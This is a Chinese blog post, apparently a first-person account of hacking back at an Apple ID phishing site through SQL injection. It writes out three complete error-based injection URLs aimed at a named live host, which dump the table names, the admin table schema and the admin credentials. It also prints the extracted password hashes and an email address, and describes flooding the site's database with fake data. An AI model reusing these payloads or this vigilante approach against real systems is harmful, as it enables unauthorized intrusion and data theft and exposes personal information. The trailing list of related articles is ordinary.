之前写的一篇利用SQL注入方式攻击钓鱼网站的文章,现在在博客园再分享一下。

下午,朋友发了一条朋友圈,内容大概这样:

大体就是她的iPhone丢了,收到了钓鱼短信,多么熟悉的套路,如下:

还好她比较机智,发现是个钓鱼网站,地址如下:

http://www.apple-icloudid.com.cn

当时看到这件事后,想到之前有巨巨顺势搞定钓鱼网站,所以我也想小试牛刀一下,看看能否攻入钓鱼网站后台。

在试了几轮PHP常见后台地址后,比如/admin,/index.php/admin,均未奏效,索性开始对网站抓包,抓包过程中有了意外收获,得到了另一个实际的核心站点信息。

原来在apple-icloudid.com.cn下的一切请求实际都是由http://www.ht888.pw这个站点来处理的,包括管理后台。

这个站点设计的极为简陋,所以三下五除二就顺利找到了管理后台地址:http://www.ht888.pw/admin/

然而竟然同时发现了另外一个管理后台:http://www.ht888.pw/new/admin/

页面上写着“低调做人,高调做事”,这是个什么鬼!!!

下面对这两个站点抓包的过程中,十分幸运的是,发现了一个SQL注入漏洞:

简单的API调用居然把执行的SQL语句返回了!!!这么严重的漏洞,我不利用谁利用。

不过让我惊讶的是,管理后台的登录框有对SQL注入做了处理,所以我只能从这个API调用来进行SQL注入。

对了,我是SQL注入小白,通过网上现找和朋友给的一点MySQL资料,使用Postman实现了简单的攻击。

第一波先获取数据库表信息

http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '

得到10张表名,分别是ap_admin, ap_members, ap_sites, ap_userlog, yu_admin, yu_guest, yu_members, yu_mibao, yu_sites, yu_userlog。

其中yu_mibao这张表里存储着受害人的iCloud账号信息,ap_admin和yu_admin两张表里存了管理员账号。

第二波获取管理员表结构

http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='yu_admin' limit 0,1)),0) or '

其中ap_admin和yu_admin表字段一致,分别为userid, gid, username, password, email, logintime, loginip, logincount。两张表里各有一条管理员账号记录

ap_members和yu_members表字段一致,分别为uid, email, password, regip, address, site。

其他表还没有查看,方法类似。

第三波获取表数据

http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat_ws(':', username, password, email, logintime, loginip, logincount) FROM yu_admin limit 0,1)),0) or '

这里我们从ap_admin表获得一个管理员账号,账户名为apple,密码为加密后内容0659c7992e268962384eb17,暂时未能破解。

从yu_admin表中获得另一个管理员账号,账户名为apple,密码同样为加密内容5a50131eb6f2d7b652ae459b4,同样暂时未破解。

到了这里基本就可只差密码的破解的,后续的步骤是试着删除掉该钓鱼站点所有受害人信息。

写在最后

公布下目前找到的有关钓鱼网站的信息

以及通过API漏洞获得的QQ邮箱一个:1485882247@qq.com

以上就是本次整个攻击过程,当然因为我是菜鸟,所以很多要点处理的应该都不太好。钓鱼网站这个套路屡见不鲜,对方往往打一枪换一个地方,祸害了不知多少普通用户。手机丢了还好,可怕的是iCloud里的隐私数据,往往会带来难以想象的伤害。

最后,就酱。

#4月7日更新


目前写了个小程序,不停往对方数据库写入假数据^_^

刚看到@林肖恩的新进展Apple ID钓鱼网站后台一览 - 知乎专栏

很疑惑为什么我用Postman获取到的密码长度是23位,而林肖恩获取到的确实完整的32位

钓鱼网站后台已被破掉,受害者信息已清空。赞!!!

已将相关网站举报到12321网络不良与垃圾信息举报受理中心

SQL注入-攻入Apple ID钓鱼网站实录的更多相关文章

  1. 网站mysql防止sql注入攻击 3种方法总结

    mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...

  2. 网站sql注入漏洞修复方案之metinfo 6.1.0系列

    近日,我们SINE安全对metinfo进行网站安全检测发现,metinfo米拓建站系统存在高危的sql注入漏洞,攻击者可以利用该漏洞对网站的代码进行sql注入攻击,伪造恶意的sql非法语句,对网站的数 ...

  3. SpringMVC利用拦截器防止SQL注入

    引言 随着互联网的发展,人们在享受互联网带来的便捷的服务的时候,也面临着个人的隐私泄漏的问题.小到一个拥有用户系统的小型论坛,大到各个大型的银行机构,互联网安全问题都显得格外重要.而这些网站的背后,则 ...

  4. 利用SQL注入漏洞登录后台

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...

  5. sql注入漏洞笔记随笔

    sql注入是从1998年出现的,是一个十分常见的漏洞,它是OWASP top10的第一名(注入) 在了解sql注入之前,我们需要先了解web框架 webapp:web网站,这种方式它采用的是B/S架构 ...

  6. SQL注入的那些面试题总结

    一.知识储备类 1.SQL与NoSQL的区别? SQL:关系型数据库 NoSQL:非关系型数据库 存储方式:SQL具有特定的结构表,NoSQL存储方式灵活 性能:NoSQL较优于SQL 数据类型:SQ ...

  7. php安全编程—sql注入攻击

    php安全编程--sql注入攻击 定义 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因 ...

  8. SQL注入(一) - 入门篇

    什么是SQL注入 可能大家还不是对SQL注入这个概念不是很清楚,简单地说,SQL注入就是攻击者通过正常的WEB页面,把自己SQL代码传入到应用程序中,从而通过执行非程序员预期的SQL代码,达到窃取数据 ...

  9. sql注入、csrf

    ◎sql注入产生的原因?又如何防御sql注入? SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用 ...

随机推荐

  1. java基础系列--Exception异常处理

    原创作品,可以转载,但是请标注出处地址:http://www.cnblogs.com/V1haoge/p/7191280.html 1.概述 Java代码中的异常处理是非常重要的一环,从代码中可以看到 ...

  2. Android之RecyclerView入门

    首先来实现最简单的列表展示,如图 在这个展示中,RecyclerView的作用仅限于回收和定位屏幕上的TextView,在用户滑动屏幕时,会把上一个视图回收掉,并显示下一个页面的视图,也就是回收再利用 ...

  3. SAN & vSAN & vSAN storage

    SAN (storage area network ) 定义: Storage area network (SAN) is a network that primarily connects the ...

  4. webgl开发第一道坎——矩阵与坐标变换

    一.齐次坐标 在3D世界中表示一个点的方式是:(x, y, z);然而在3D世界中表示一个向量的方式也是:(x, y, z);如果我们只给一个三元组(x, y, z)鬼知道这是向量还是点,毕竟点与向量 ...

  5. HTLM5新增属性

    1.<meta http-equiv="Pragma" content="no-cache"/> //禁止页面缓存 2.<script def ...

  6. linux+windows mysql导入导出sql文件

    linux下 一.导出数据库用mysqldump命令(注意mysql的安装路径,即此命令的路径):1.导出数据和表结构:mysqldump -u用户名 -p密码 数据库名 > 数据库名.sql# ...

  7. NLP —— 图模型(二)条件随机场(Conditional random field,CRF)

    本文简单整理了以下内容: (一)马尔可夫随机场(Markov random field,无向图模型)简单回顾 (二)条件随机场(Conditional random field,CRF) 这篇写的非常 ...

  8. AtCoder Beginner Contest 068

    A - ABCxxx 题意: 给出n,输出“ABCn”就可以了,纯水题. B - Break Number 题意: 给出n,找出从1到n的闭区间内能够被2整除最多次的数. 思路: 直接模拟. 代码: ...

  9. JavaScript数组遍历(迭代)方法 8种

    最近工作中经常涉及到数据的处理,数组尤其常见,经常需要对其进行遍历.转换操作,网上的文章零零散散,不得已自己又找出红宝书来翻出来看,顺便记一笔,便于以后查询. 数组常用的方法 ECMAScript5为 ...

  10. 初探IAT

    ---恢复内容开始--- IAT(Import Address Table:输入函数地址表) [IAT作用是什么:] 一个API函数,比如MessageBoxA,我们是如何调用它的呢, 在这里我们可以 ...